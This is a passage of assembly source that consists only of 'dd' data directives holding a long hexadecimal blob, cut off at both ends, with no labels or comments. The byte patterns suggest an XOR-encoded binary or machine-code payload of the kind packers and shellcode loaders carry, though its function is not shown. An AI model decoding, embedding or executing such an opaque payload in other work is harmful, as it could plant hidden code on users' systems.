0D35000D3h, 0A6DB5428h, 63782CA7h, 2C7C7C2Ch dd 2E6CD542h, 0D3EB54D3h, 0D3507C14h, 24DB5410h, 2D585CEBh dd 0EB0CA78Fh, 3C89B350h, 58585DD7h, 9CDB5858h, 3060754h dd 0BDD10D9Bh, 0D0F0E0Bh, 58325832h, 5848C030h, 502DA748h dd 588DD8B0h, 6070558h, 5B4D103h, 0D10DA49Bh, 50B4DBBDh dd 0D0F0E0Bh, 0D35405D3h, 18AF501Dh, 58585E5Ch, 0EFDD5758h dd 0D1585858h, 1DD3A01Dh, 0A41DD148h, 0D1A01DD5h, 2BD3A41Bh dd 5023D354h, 57A7A6DBh, 5858F0DCh, 2E54D558h, 5CD724DBh dd 0E252C58h, 4833D50Dh, 0D3B41DD3h, 0FB58D358h, 4849D86Ch dd 0D3B40DD3h, 0D860FB5Ah, 1AD34849h, 0D864FB5Ch, 0F0E4849h dd 584CE109h, 65D55858h, 4849D818h, 0D8606DD3h, 0FDAB4849h dd 0D81865D5h, 65D14849h, 4849D860h, 0A7060701h, 55CD70Ch dd 5405D306h, 702C9851h, 23D36C20h, 62B00B50h, 0DBA7A7A7h dd 33D55C9Ch, 0B00B0E48h, 0A7A7A68Bh, 0D5509CDBh, 5CD32E54h dd 541BD3D7h, 50D70CA7h, 0D55023D3h, 6CD32E54h, 0A73AB1D7h dd 9869A7A7h, 0D50D41B3h, 0A7324833h, 0A6FDB00Bh, 9CDBA7A7h dd 0B0533254h, 58588C8Dh, 55C9CDBh, 0D1030607h, 0D9B05B4h dd 0E0BBDD1h, 5425DB0Fh, 0B05D2D59h, 58585844h, 588BAFB0h dd 482DA758h, 0A7542DA7h, 58F9502Dh, 0A74849D8h, 3060788h dd 58549A91h, 0DBBDD10Dh, 320F54B4h, 0B0AE3258h, 58588C05h dd 32A01DD1h, 0B0AD3258h, 58588C09h, 32A41DD1h, 0B0AC3258h dd 58588C1Dh, 30AC1DD1h, 4849D846h, 0B0A02DA7h, 58588C71h dd 49D850FBh, 0D8443048h, 2DA74849h, 8C4FB0A4h, 5CFB5858h dd 304849D8h, 4849D844h, 0B0AC2DA7h, 58588C5Dh, 0FB689CDBh dd 4849D854h, 0D85C65D3h, 0A7514849h, 5832532Ch, 8C6BB00Fh dd 9CDB5858h, 5465D350h, 514849D8h, 32482CA7h, 46B00F58h dd 0DB58588Ch, 5EB0509Ch, 7585858h, 0C8C89B91h, 0BDD10DC8h dd 0B4CB4DBh, 1D9F0F0Eh, 585858ACh, 8BC3B058h, 9BD15858h dd 0B3A805D1h, 6563D844h, 1DA75B2Ch, 6987D1ACh, 9141A198h dd 81AFF6AAh, 0D1A619D5h, 44D51F9Fh, 5863D863h, 25D3872Dh dd 64D51FACh, 585858E5h, 0B425D158h, 0B0B42DA7h, 58588BFDh dd 0A01DD101h, 49D848FBh, 0A025DB48h, 695C2D58h, 0D305B398h dd 1DB3A805h, 986987D1h, 0AA9141A1h, 0D581AFF6h, 9FD1A619h dd 0A425D11Fh, 2C6563D8h, 0A42DA77Eh, 588B34B0h, 2DD30158h dd 515ED1A0h, 0B35A2D98h, 25D30B73h, 0B06FA7A0h, 58588B21h dd 0DB509CDBh, 0D35CA01Dh, 44D5A40Dh, 5863D84Bh, 0DD3EE2Dh dd 585A9FA0h, 0E0585858h, 58585859h, 91030607h, 0BDD10D9Bh dd 5B7CB4D9h, 0E0B5858h, 5425DB0Fh, 74DC5758h, 0D3585849h dd 58D2501Dh, 502C6C64h, 0DD576D64h, 58584943h, 0D1501DD3h dd 0A790DB99h, 5964D818h, 0D1A12D58h, 0A7A680DDh, 344DD3A7h dd 0DB4849D9h, 4D5B5C9Ah, 4849D92Ch, 492C8861h, 0D8FC4DD3h dd 9ADB4849h, 57886154h, 5848BADDh, 45E75758h, 4849D8CCh dd 0B35AB3DBh, 5868E07Ch, 0BBAF5858h, 0A5F8DDD1h, 1DD3A7A7h dd 0F8CDD354h, 61A7A7A5h, 6D084D5Ch, 0DC574851h, 585848EBh dd 0D8C8F91Bh, 98DB4849h, 0C45D5B04h, 614849D9h, 0F9922A9Bh dd 4849D9A4h, 614B98DBh, 0A7A680DDh, 98DD57A7h, 0D3585859h dd 18D2501Dh, 2C756456h, 57786450h, 584822DDh, 501DD358h dd 645118D2h, 64502C75h, 30DD5778h, 0D3585848h, 18D2501Dh dd 2C75645Ch, 57786450h, 58480EDDh, 0D918F958h, 98DB4849h dd 4DE75754h, 4849DA50h, 0DD38859h, 490AD250h, 595DCCD0h dd 57A7A7A7h, 0D91C5DE7h, 0DD34849h, 500AD250h, 5C5DCCD0h dd 0F9A7A7A7h, 4849D9D8h, 0D2500DD3h, 0CCD0520Ah, 0A7A7515Dh dd 0D984F9A7h, 98DB4849h, 4DE7575Fh, 4849D89Ch, 0DD38859h dd 480AD250h, 595DCCD0h, 0F9A7A7A7h, 4849D944h, 0D9285D5Bh dd 0DD34849h, 5F0AD250h, 595DCCD0h, 0F9A7A7A7h, 4849D978h dd 0D2500DD3h, 0CCD0570Ah, 0A7A75D5Dh, 5DE757A7h, 4849D8F0h dd 0D2500DD3h, 0CCD0540Ah, 0A7A7535Dh, 5DE757A7h, 4849D964h dd 404DE757h, 594849DAh, 500DD388h, 0D05E0AD2h, 0A6A55DCCh dd 0B8F9A7A7h, 574849D8h, 0D8EC4DE7h, 88594849h, 0D2500DD3h dd 5DCCD04Ah, 0A7A7A6AEh, 49D9ECF9h, 4DE75748h, 4849D970h dd 0D05DB2DBh, 0A7555DCCh, 0F4F9A7A7h, 5B4849D9h, 49D8905Dh dd 500DD348h, 0D05B0AD2h, 0A7595DCCh, 0C8F9A7A7h, 0DB4849D8h dd 0E7575C98h, 49D9C04Dh, 0D3885948h, 0AD2500Dh, 5DCCD053h dd 0A7A7A759h, 49D9E4F9h, 500DD348h, 0D04A0AD2h, 0A7525DCCh dd 54F9A7A7h, 0D34849DAh, 0AD2500Dh, 5DCCD05Dh, 0A7A7A759h dd 49D9F4F9h, 4DE75748h, 4849DA48h, 0DD38859h, 5A0AD250h dd 0A45DCCD0h, 57A7A7A6h, 0D91C5DE7h, 0DD34849h, 550AD250h dd 505DCCD0h, 0F9A7A7A7h, 4849D9B4h, 0D2500DD3h, 0CCD0590Ah dd 0A7A6A75Dh, 0A757B3A7h, 0DDD5502Dh, 0A7A7A759h, 8873B008h dd 6DD35858h, 4849D9D4h, 0D24DB316h, 0A7596DDCh, 6864A7A7h dd 61645C24h, 0F8B15D26h, 1E585856h, 49D90CF9h, 5B98DB48h dd 704DE757h, 594849D9h, 2A9E6188h, 0D8F4F98Eh, 0B0DB4849h dd 0A0DDD15Fh, 0D3A7A7A6h, 49D9A46Dh, 571EB348h, 596DDCE6h dd 0DBA7A7A7h, 4DD368B0h, 4849D890h, 9AF7571Ah, 0A6A0DD59h dd 0E4D8A7A7h, 0A7A7596Dh, 56266CA7h, 49D938F9h, 5A98DB48h dd 0A6A0DD71h, 28F9A7A7h, 574849D9h, 0D89C4DE7h, 88594849h dd 5950B0DBh, 0D8E4F99Eh, 98DB4849h, 2A9E6148h dd 0DA78F9F6h, 9BD14849h, 0D90C455Bh, 0B3DB4849h, 5743B351h dd 5945DCE6h, 0DBA7A7A7h, 0DD5968B0h, 0A7A7A6A0h, 945DE757h dd 184849D8h, 0E7579B59h, 49D9C05Dh, 704DD348h, 0D54849DAh dd 615F481Ch, 0D3882A9Bh, 0A7A6A0DDh, 5852E1A7h, 8A695858h dd 65D3A9AFh, 4849DA60h, 0AC45E757h, 594849D8h, 5AB7DB87h dd 0DD57A261h, 585855EFh, 0A759DDD5h, 0A708A7A7h, 49022C4Dh dd 98510148h, 55F9DD57h, 6DD35858h, 4849D9B8h, 0D35CB6DBh dd 49DA606Dh, 0E073B348h, 58585868h, 0DDD1BEAFh, 0A7A7A5C4h dd 49D918F9h, 85D5B48h, 0DB4849D9h, 0CDD35DB0h, 0A7A7A5C4h dd 84D5C61h, 2C48516Dh, 0E7571E57h, 49D9FC5Dh, 698DB48h dd 9F2A9E61h, 605DE757h, 0D34849D9h, 49DA744Dh, 481CD548h dd 579E6102h, 585566DCh, 5868E058h, 0BEAF5858h, 0A5C0DDD1h dd 1DD3A7A7h, 0C0CDD354h, 0D1A7A7A5h, 6D084D5Ch, 0E9304851h dd 0B04849C1h, 58587BF0h, 0F465D301h, 574849D8h, 0D99C45E7h dd 87594849h, 0F57B7DBh, 65E75708h, 4849DA48h, 0F5DB7DBh dd 0A7542DA7h, 5501684Dh, 94DDD148h, 0D3A7A7A6h, 49D9A055h dd 5BB1DB48h, 512D9061h, 0D1541DD3h, 0A7A694DDh, 0C1FC30A7h dd 1B04849h, 858587Bh, 0A694EDA7h, 97B0A7A7h, 0D15858EAh dd 0A7A68CDDh, 0C1C030A7h, 65B04849h, 858587Bh, 0A68CEDA7h dd 0EBB0A7A7h, 0D15858EAh, 5868E09Fh, 0BEAF5858h, 0A5CCDDD1h dd 9BD1A7A7h, 0C4564D1h, 3248516Dh, 5868E058h, 0BEAF5858h dd 0A5C8DDD1h, 6CA7A7A7h, 516D0C5Dh, 4DA748h, 0F9484901h dd 4849D988h, 85FB0DBh, 7DC04DA7h, 0DDD14859h, 0A7A7A6ACh dd 0A6BCDDD5h, 0A708A7A7h, 0A7A68CEDh, 84DA7A7h, 30484901h dd 4849C1D6h, 587A93B0h, 449CDB58h, 0D99865D3h, 0F174849h dd 0A6ACEDA7h, 0E757A7A7h, 49D9CC65h, 45E75748h, 4849D9A8h dd 0B7DB8759h, 0EDA70F5Fh, 0A7A7A68Ch, 0A6A8E5D3h, 0E573A7A7h dd 0A7A7A6B0h, 0B4E5D30Fh, 73A7A7A6h, 0A7A6BCE5h, 0E7570FA7h dd 49D96465h, 51B7DB48h, 5465D30Fh, 0DB4849D9h, 300F5AB7h dd 8D85858h, 0A759E5D5h, 80FA7A7h, 585A5830h, 644DA758h dd 0D1485111h, 5868E09Fh, 0BEAF5858h, 0A5D4DDD1h, 9BD1A7A7h dd 4564D1h, 0D348516Dh, 0A7A6B4DDh, 0BCDD73A7h, 0D3A7A7A6h dd 49D9B84Dh, 719ADB48h, 0DDD18871h, 0A7A7A6B8h, 0A6A8E5D3h dd 0E573A7A7h, 0A7A7A6B0h, 0D98C45D3h, 9BD94849h, 585858AAh dd 45D38771h, 4849DA5Ch, 0D1629BDBh, 698071A0h, 5798DD8Ah dd 88599AC4h, 0DDD1A089h, 0A7A7A684h, 0DA6C4DD3h, 4D5B4849h dd 4849D9DCh, 6154B2DBh, 574E2588h, 0D8A05DE7h, 5D5B4849h dd 4849DA60h, 0D15CB0DBh, 0A7A684DDh, 0C1DC30A7h, 0E1B04849h dd 0D1585879h, 0A7A5D0DDh, 0C1D830A7h, 0F1B04849h, 0D1585879h dd 0A7A5DCDDh, 7865D3A7h, 5B4849DAh, 49D91865h, 5BB7DB48h dd 0ACEDA70Fh, 0D3A7A7A6h, 49D89065h, 0E00F1748h, 58585868h dd 0DDD1BEAFh, 0A7A7A5D8h, 6CA79FD1h, 516D0065h, 65E75748h dd 4849D960h, 58AF9FD9h, 0A70F5858h, 0A7A6B8EDh, 84E5D3A7h dd 0D3A7A7A6h, 49D9D045h, 6E9BDB48h, 104DE757h, 594849D9h dd 5787598Bh, 0D8A445E7h, 59134849h, 65D30F87h, 4849D90Ch dd 5B5D9FDBh, 49D8F465h, 51300F48h, 0D308D858h, 0A7A5DCE5h dd 0E5D30FA7h, 0A7A7A5D0h, 65E7570Fh, 4849D8A0h, 0F5DB7DBh dd 11644DA7h, 0DDD14851h, 0A7A7A690h, 49C12E30h, 78AAB048h dd 0DDD15858h, 0A7A7A524h, 49C10530h, 78BAB048h, 0DDD15858h dd 0A7A7A520h, 0D97C65D3h, 0E7574849h, 49D8A445h, 0DB875948h dd 0A70F5CB7h, 0A7A6ACEDh, 65E757A7h, 4849D910h, 9445E757h dd 594849D9h, 52B7DB87h, 5868E00Fh, 0BEAF5858h, 0A52CDDD1h dd 9FD1A7A7h, 656CA7h, 0D348516Dh, 49D9F465h, 699FDB48h dd 0DA14655Bh, 0A70F4849h, 0A7A6B8EDh, 84EDA7A7h, 57A7A7A6h dd 0D95C65E7h, 45D34849h, 4849DA44h, 484724D5h, 5858300Fh dd 0E5D308D8h, 0A7A7A520h, 24E5D30Fh, 0FA7A7A5h, 0DA4C65D3h dd 0B7DB4849h, 4DA70F5Bh, 48511164h, 0A69CDDD1h, 0B0F9A7A7h dd 104849D8h, 325A3208h, 32583258h, 5759325Dh, 0D9C05DE7h dd 4DD34849h, 4849DA70h, 0B2DB9A59h, 4DD30A51h, 4849D924h dd 0DA5C4D5Bh, 0B2DB4849h, 4DD30A51h, 4849D9C4h, 0A5CB2DBh dd 585AE430h, 0F84DD358h, 5B4849D8h, 49D92C4Dh, 52B2DB48h dd 0E46DA70Ah, 5B4849D8h, 49D90C5Dh, 0F9081048h, 4849D9BCh dd 84898DBh, 6A784DA7h, 0DDD14851h, 0A7A7A698h, 32085932h dd 9CEDA768h, 0A7A7A7A6h, 58A8404Dh, 0C10B3048h, 0E9B04849h dd 0D1585847h, 0A7A528DDh, 0C11630A7h, 0F9B04849h, 0DB585847h dd 65D3409Ch, 4849D968h, 0EDA70F17h, 0A7A7A6ACh, 0D96C65D3h dd 0B7DB4849h, 0EDA70F5Ah, 0A7A7A690h, 0D8F865D3h, 9FD94849h dd 585858AAh, 4845E757h, 594849DAh, 0C045D387h, 5B4849D8h dd 49DA1045h, 51B3DB48h, 0D30F8771h, 0A7A6B8E5h, 0C45D3A7h dd 5B4849D9h, 49DA4C45h, 5FB3DB48h, 570F8771h, 0D91065E7h dd 655B4849h, 4849D9BCh, 0F5CB7DBh, 0D95065D3h, 0B7DB4849h dd 58300F5Fh, 8085858h, 0A528E5D3h, 0D30FA7A7h, 49DA6C65h dd 28655B48h, 0DB4849D9h, 0A70F54B7h, 5111644Dh, 0E09FD148h dd 58585868h, 0DDD1BEAFh, 0A7A7A534h, 64D19BD1h, 516D0445h dd 0DA54F948h, 5D5B4849h, 4849D92Ch, 0AE5DE4D8h, 6CA7A7A6h dd 1E30422Dh, 0B04849C1h, 58584694h, 0E5D50801h, 0A7A7A6F4h dd 91C3B00Fh, 40B35858h, 49C16030h, 46EAB048h, 8015858h dd 0A6F4E5D5h, 0B00FA7A7h, 585891D9h, 49C09E30h, 46C2B048h dd 0E5D55858h, 0A7A7A759h, 0F4E5D50Fh, 0FA7A7A6h, 0F5E5D508h dd 0FA7A7A5h, 1704DA7h, 0E4304855h, 0B04849C0h, 5858462Ch dd 0A530DDD1h, 65D3A7A7h, 4849D930h, 0D9B8655Bh, 0B7DB4849h dd 0EDA70F5Eh, 0A7A7A6ACh, 0DA606DA7h, 68E04849h, 0AF585858h dd 3CDDD1BEh, 0D1A7A7A5h, 656CA79Fh, 48516D04h, 0D98C65D3h dd 9FDB4849h, 0EDA70F70h, 0A7A7A6B8h, 0FC65E757h, 0DB4849D9h dd 0D30F5C9Fh, 49D8B465h, 45E75748h, 4849D964h, 300F8759h dd 8585858h, 0A5F5E5D5h, 0D30FA7A7h, 0A7A530E5h, 0E7570FA7h dd 49D8A065h, 58655B48h, 0DB4849DAh, 0A70F52B7h, 5111644Dh dd 0F0DDD148h, 57A7A7A5h, 0D99C5DE7h, 5D5B4849h, 4849D8FCh dd 857B0DBh, 58325A32h, 5D325832h, 5CF95932h, 5B4849DAh dd 49D9185Dh, 5BB0DB48h, 5DE75708h, 4849D910h, 0D9485D5Bh dd 0B0DB4849h, 0F90852h, 0DB4849D9h, 30085BB0h, 585859C8h dd 3C5DE757h, 104849D9h, 0DA6CF908h, 5D5B4849h, 4849D978h dd 848B0DBh, 0A05DE757h, 574849D8h, 0D8944DE7h, 88594849h dd 0D8B8F908h, 98DB4849h, 4DA70852h, 48516A78h, 0A688DDD1h dd 5932A7A7h, 0A7683208h, 0A7A5F0EDh, 404DA7A7h, 304858A8h dd 4849C0E8h, 584567B0h, 38DDD158h, 30A7A7A5h, 4849C0F4h dd 584577B0h, 4DDD158h, 0D3A7A7A5h, 49D8C865h, 5CB7DB48h dd 0ACEDA70Fh, 57A7A7A6h, 0DA1865E7h, 0E7574849h, 49D9B045h dd 0DB875948h, 0E00F57B7h, 58585868h, 0DDD1BEAFh, 0A7A7A500h dd 6CA79FD1h, 516D0465h, 7865D348h, 0D94849D9h, 58597C9Fh dd 0E7570F58h, 49D99465h, 0E445D348h, 0D54849D9h, 0F754724h dd 0D95465D3h, 9FDB4849h, 65D30F11h, 4849D900h, 0F1B9FDBh dd 0D8585B30h, 4E5D308h dd 0FA7A7A5h, 0A538E5D3h, 0D30FA7A7h, 49D9B865h, 5CB7DB48h dd 644DA70Fh, 0D1485111h, 5868E09Fh, 0BEAF5858h, 0A50CDDD1h dd 9BD1A7A7h, 3C4564D1h, 3048516Dh, 4849C0F8h, 58442FB0h dd 8DDD158h, 30A7A7A5h, 4849C0C4h, 58443FB0h, 709CDB58h dd 0A514DDD1h, 65D3A7A7h, 4849D998h, 4045E757h, 594849D9h dd 51B7DB87h, 0ACEDA70Fh, 0D3A7A7A6h, 49D93865h, 5FB7DB48h dd 5868E00Fh, 0BEAF5858h, 0A510DDD1h, 9FD1A7A7h, 4656CA7h dd 0D348516Dh, 49D90C65h, 459FD948h, 5B585859h, 49D9E865h dd 65D30F48h, 4849DA58h, 5B7E9FDBh, 49DA7465h, 65D30F48h dd 4849D8C0h, 5B629FDBh, 49D97865h, 0E7570F48h, 49D9CC65h dd 45E75748h, 4849D9FCh, 5B4724D5h, 585B300Fh, 0E5D308D8h dd 0A7A7A514h, 8E5D30Fh, 0FA7A7A5h, 0D8F465D3h, 0B7DB4849h dd 4DA70F5Fh, 48511164h, 68E09FD1h, 0AF585858h, 1CDDD1BEh dd 0D1A7A7A5h, 4564D19Bh, 48516D38h, 49D9D8F9h, 4DE75748h dd 4849D8A4h, 3E108859h, 0A6A6DDD1h, 9CB1A7A7h, 30585858h dd 4849C0CCh, 584327B0h, 0E5EF5758h, 0A7A7A6A6h, 0E5D5080Fh dd 0A7A7A562h, 704DA70Fh, 0D5485501h, 0A7A562DDh, 24F908A7h dd 5B4849D9h, 49D9445Dh, 51B0DB48h, 591B3008h, 68E05858h dd 0AF585858h, 6CDDD1BEh, 0A7A7A7A5h, 6D385D6Ch, 4DA74851h dd 4858A840h, 49C0D230h, 4372B048h, 0EF575858h, 0A7A6A6E5h dd 0C445D3A7h, 0DB4849D9h, 87595B9Bh, 0E5D5080Fh, 0A7A7A562h dd 704DA70Fh, 0DB485501h, 0DDD5789Ch, 0A7A7A562h, 5DE75708h dd 4849DA50h, 484DE757h, 594849DAh, 5EB0DB88h, 591B3008h dd 68E05858h, 0AF585858h, 68DDD1BEh, 0A7A7A7A5h, 6D3C5D6Ch dd 4DA74851h, 4858A840h, 0A6DDA73Eh, 57A7A7A6h, 0A6A6DDEFh dd 0E757A7A7h, 49D9F04Dh, 559ADB48h, 0D4578861h, 0A7A7A77Bh dd 49C0DA30h, 42FAB048h, 0DDD15858h, 0A7A7A518h, 49C02630h dd 42CAB048h, 0DDD15858h, 0A7A7A564h, 0DA5865D3h, 655B4849h dd 4849DA14h, 0F56B7DBh, 0A6ACEDA7h, 65D3A7A7h, 4849D88Ch dd 0DA4C655Bh, 0B7DB4849h, 68E00F50h, 0AF585858h, 60DDD1BEh dd 0D1A7A7A5h, 656CA79Fh, 48516D04h, 0D8FC65D3h, 9FDB4849h dd 65D30F49h, 4849D880h, 5B129FDBh, 49D8E865h, 65D30F48h dd 4849DA78h, 0F229FDBh, 0A065E757h, 0D34849D8h, 49D92C45h dd 4724D548h, 58300F7Bh, 0D308D858h, 0A7A564E5h, 0E5D30FA7h dd 0A7A7A518h, 5A58300Fh, 4DA75858h, 48511164h, 68E09FD1h dd 0AF585858h, 6CDDD1BEh, 0D1A7A7A5h, 4564D19Bh, 48516D30h dd 945DE757h, 104849D8h, 30003208h, 58585894h, 585868E0h dd 0D1BEAF58h, 0A7A568DDh, 5D6CA7A7h, 48516D30h, 0A8404DA7h dd 2C304858h, 0B04849C0h, 585841E8h, 0A574DDD1h, 0A30A7A7h dd 0B04849C0h, 585841F8h, 0A570DDD1h, 65D3A7A7h, 4849D930h dd 0F5AB7DBh, 0A6ACEDA7h, 65D3A7A7h, 4849D984h, 0D88C655Bh dd 0B7DB4849h, 68E00F5Dh, 0AF585858h, 7CDDD1BEh, 0D1A7A7A5h dd 656CA79Fh, 48516D04h, 0D95465D3h, 9FDB4849h, 68655B65h dd 0F4849DAh, 0A6B8EDA7h, 0E757A7A7h, 49D8A065h, 7C45D348h dd 0D54849DAh, 0F114724h, 0D99865D3h, 9FD94849h, 585858CBh dd 0D97C655Bh, 300F4849h, 8585858h, 0A570E5D3h, 0D30FA7A7h dd 0A7A574E5h, 65D30FA7h, 4849D880h, 0F5EB7DBh, 11644DA7h dd 0DDD14851h, 0A7A7A5FCh, 0EDA75932h, 0A7A7A688h, 0A7086832h dd 58A8404Dh, 0C0103048h, 0BDB04849h, 0D1585840h, 0A7A578DDh dd 0C07630A7h, 8DB04849h, 0DB585840h, 0DDD1409Ch, 0A7A7A544h dd 0D95865D3h, 0B7DB4849h, 0EDA70F51h, 0A7A7A6ACh, 0D96865D3h dd 655B4849h, 4849D9ACh, 0F52B7DBh, 585868E0h, 0D1BEAF58h dd 0A7A540DDh, 0A79FD1A7h, 6D04656Ch, 65D34851h, 4849D88Ch dd 0F4A9FDBh, 0DA6865D3h, 0A3D14849h, 58C29BD9h, 0D30B5858h dd 49D90C45h, 0A99BD948h, 59585858h, 65E757A3h, 4849D9C8h dd 0D9F84DD3h, 24D54849h, 0A3714B4Fh, 65E7570Bh, 4849D960h dd 0F5F9FDBh, 0D8585830h, 44E5D308h, 0FA7A7A5h, 0A578E5D3h dd 0D30FA7A7h, 49DA4C65h, 8C655B48h, 0DB4849D9h, 0A70F53B7h dd 5111644Dh, 0E09FD148h, 58585868h, 0DDD1BEAFh, 0A7A7A54Ch dd 64D19BD1h, 516D3445h, 0A7593248h, 0A7A688EDh, 5868E0A7h dd 68325858h, 0DDD1BEAFh, 0A7A7A548h, 345D6CA7h, 0A748516Dh dd 58A8404Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A554h dd 0A550DDD1h, 6CA7A7A7h, 516D045Dh, 4C4DA748h, 0D3485101h dd 0A7A550E5h, 655CD1A7h, 48516D24h, 58D54230h, 0E0A43248h dd 58585868h, 0DDD1BEAFh, 0A7A7A55Ch, 45D6CA7h, 0A748516Dh dd 597DF44Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A558h dd 0A4A4DDD1h, 6CA7A7A7h, 516D305Dh, 4C4DA748h, 0D3485101h dd 0A7A4A4E5h, 655CD1A7h, 48516D20h, 58D54230h, 0E0A43248h dd 58585868h, 0DDD1BEAFh, 0A7A7A4A0h, 305D6CA7h, 0A748516Dh dd 597DF44Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A4ACh dd 0A4A8DDD1h, 6CA7A7A7h, 516D3C5Dh, 4C4DA748h, 0D3485101h dd 0A7A4A8E5h, 655CD1A7h, 48516D2Ch, 58D54230h, 0E0A43248h dd 58585868h, 0DDD1BEAFh, 0A7A7A4B4h, 3C5D6CA7h, 0A748516Dh dd 597DF44Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A4B0h dd 0A4BCDDD1h, 6CA7A7A7h, 516D385Dh, 4C4DA748h, 0D3485101h dd 0A7A4BCE5h, 655CD1A7h, 48516D28h, 58D54230h, 0E0A43248h dd 58585868h, 0DDD1BEAFh, 0A7A7A4B8h, 385D6CA7h, 0A748516Dh dd 597DF44Dh, 5868E048h, 0BEAF5858h, 0A484DDD1h, 6CA7A7A7h dd 516D385Dh, 0A44DA748h, 7485D71h, 9B910306h, 9BDD10Dh dd 0D30F0E0Bh, 6DD35005h, 4849D978h, 5750B6DBh, 0D9C065E7h dd 0B3174849h, 4CEF5708h, 5415D323h, 2154EF57h, 0AA719271h dd 57A40DD1h, 0D8885DE7h, 0B0DB4849h, 259A615Eh, 0D974F947h dd 0A05D4849h, 595858A7h, 0CF9A41Dh, 0D14849D9h, 546D5B9Eh dd 0DB4849D9h, 51B351B6h, 0D8E06DD3h, 0B6DB4849h, 0A40DD35Ch dd 234CD13Eh, 0DA78F91Fh, 98DB4849h, 2A9F6146h, 30607FCh dd 0D10D9B91h, 25D30FBDh, 401DD354h, 401DD13Eh, 49D968F9h dd 58A15D48h, 9F615858h, 2DA7552Dh, 0CC39B044h, 69015858h dd 0F978B398h, 4849D914h, 5859595Dh, 2D9F6158h, 442DA755h dd 580CABB0h, 98690158h, 5BE05DB3h, 7D85A58h, 587C9A05h dd 581859E0h, 58489AD8h, 30BDD10Dh, 48493764h, 71A04DA7h dd 64F9485Dh, 5484937h, 0D585C9Ah, 0E0BBDD1h, 542DD30Fh dd 304825D3h, 4849C2C0h, 644DA70Eh, 51485501h, 0D3482C98h dd 5FD1501Dh, 40D36FA7h, 695C0BA7h, 3017B398h, 4849C240h dd 644DA70Eh, 51485501h, 0D3482C98h, 5FD1501Dh, 40D36FA7h dd 695C0BA7h, 3077B398h, 4849C1B0h, 644DA70Eh, 51485501h dd 0D3482C98h, 5FD1501Dh, 40D36FA7h, 695C0BA7h, 0F957B398h dd 4849D9ECh, 0D15CB0DBh, 185AE05Fh, 607D858h, 549A0503h dd 0BDD10D58h, 5B7850E0h, 0E797B058h, 0E0B5858h, 0D938F90Fh dd 0B0DB4849h, 44DDD15Fh, 0A7A7A4B9h, 2DA7482Dh, 6DDDD554h dd 8A7A4B9h, 104C4DA7h, 9CDB4851h, 0D97CF954h, 0B0DB4849h dd 0E757085Ah, 49D9705Dh, 5DB0DB48h, 0F95B3208h, 4849D890h dd 10F90810h, 574849DAh, 0D9F04DE7h, 88594849h, 85CB0DBh dd 58585930h, 502DA798h dd 33404DA7h, 0DDD14849h, 0A7A7B7D4h, 2DA7A0DBh, 44DDA77Eh dd 0F9A7A4B9h, 4849D954h, 44DD6110h, 2DA7A4B9h, 502DA753h dd 581B80B0h, 0C1B30158h, 20B19869h, 0F958584Ch, 4849D92Ch dd 0D88C5D5Bh, 0B0DB4849h, 0EDA70854h, 0A7A7B7D4h, 1484DA7h dd 1DD14851h, 480DD3A8h, 0A748DCD5h, 85859A7h, 4DA75832h dd 485D71B4h, 57A41DD1h, 0D9705DE7h, 0B0DB4849h, 0DDD5085Dh dd 0A7A4B978h, 0A82DA708h, 0A7A42DA7h, 0A7B7D4EDh, 6C4DA7A7h dd 0D34858A8h, 18D3A41Dh, 98DDD164h, 0D3A7A7AFh, 0A4B978DDh dd 58A075A7h, 0DD615858h, 0A7A7AF98h, 4BBEDF57h, 0DDD35858h dd 0A7A7AF98h, 0D1A41D5Bh, 0EF57A01Dh, 1D086558h, 0DD575858h dd 58584B94h, 57A01DD3h, 0D30418EFh, 49D8844Dh, 804D5B48h dd 0DB4849D8h, 886151B2h, 4BF6DC57h, 0FDDB5858h, 0A7A7B624h dd 0A01DD358h, 1C08EF57h, 0D9D055D3h, 99DB4849h, 2D926150h dd 5C4DD364h, 5B4849DAh, 49D9384Dh, 8D01248h, 58A2D842h dd 0EF577F2Ch, 0DDD11E18h, 0A7A4B954h, 885DE757h, 614849D8h dd 0A4B954DDh, 39DB57A7h, 9F58584Bh, 0A7B624DDh, 585859A7h dd 24E5DB58h, 58A7A7B6h, 28F9172Ch, 574849D9h, 0D8CC4DE7h dd 88594849h, 0B954DD61h, 412BA7A4h, 0DBA01DD3h, 0EF575E98h dd 5455D348h, 0DB4849D9h, 92715A99h, 0B348D13Eh, 0A01DD378h dd 575E98DBh, 55D348EFh, 4849DA68h, 8865E757h, 594849D8h dd 5CB1DBA1h, 0D13E9271h, 0A01DD348h, 58D8D8D3h, 0DDD15858h dd 0A7A7A388h, 0AF98DDD3h, 0DDD1A7A7h, 0A7A7B7CCh, 0B7CCDDD9h dd 58A0A7A7h, 70E05858h, 0D3585858h, 0EF57A015h, 0B9AF5E11h dd 0B950DDD1h, 0DD59A7A4h, 0A7A7B7CCh, 585870E0h, 9855D358h dd 0DB4849D9h, 0B9AF5A99h, 0B95CDDD1h, 0DD59A7A4h, 0A7A7B7CCh dd 0D3A01DD3h, 58588CD0h, 0CCD55958h, 0D3A7A7B7h, 0DD610C18h dd 0A7A7B7CCh, 4ADEDF57h, 0ECF95858h, 0DB4849D9h, 0DDD15CB0h dd 0A7A7ABF4h, 49D934F9h, 5DB0DB48h, 0F9BC1DD1h, 4849D9ACh dd 0D151B0DBh, 0A7B7FCDDh, 0D8A8F9A7h, 0B0DB4849h, 94DDD15Bh dd 0B1A7A7A3h, 5858589Ah, 585870E0h, 94FDAF58h, 0D1A7A7A3h dd 0A4B8A0DDh, 98DDD3A7h, 0D3A7A7AFh, 0DCD5A40Dh, 5858A048h dd 0A0CDD358h, 0D1A7A4B8h, 0D39E598Eh, 1E5B541Eh, 58DDD150h dd 0D3A7A4B9h, 1E5B4C1Eh, 0A4DDD148h, 0D3A7A4B8h, 0DD61BC1Dh dd 0A7A4B958h, 0DDD3512Eh, 0A7A4B958h, 0D3BC1DD1h, 0A7ABF4DDh dd 0A4DD61A7h, 2EA7A4B8h, 0A4DDD354h, 0D1A7A4B8h, 0A7ABF4DDh dd 0A01DD3A7h, 58F0D8D3h, 1E635858h, 63452A54h, 0A4B958DDh dd 0D34D2BA7h, 0DD34C1Eh, 0F0DA5BA0h, 73585858h, 0DDD1541Eh dd 0A7A7B7FCh, 0A388DDD3h, 0ED3A7A7h, 2A886154h, 500E5B4Bh dd 542B8861h, 5B541E73h, 0DDD14C1Eh, 0A7A7AFE4h, 0A394DDA7h dd 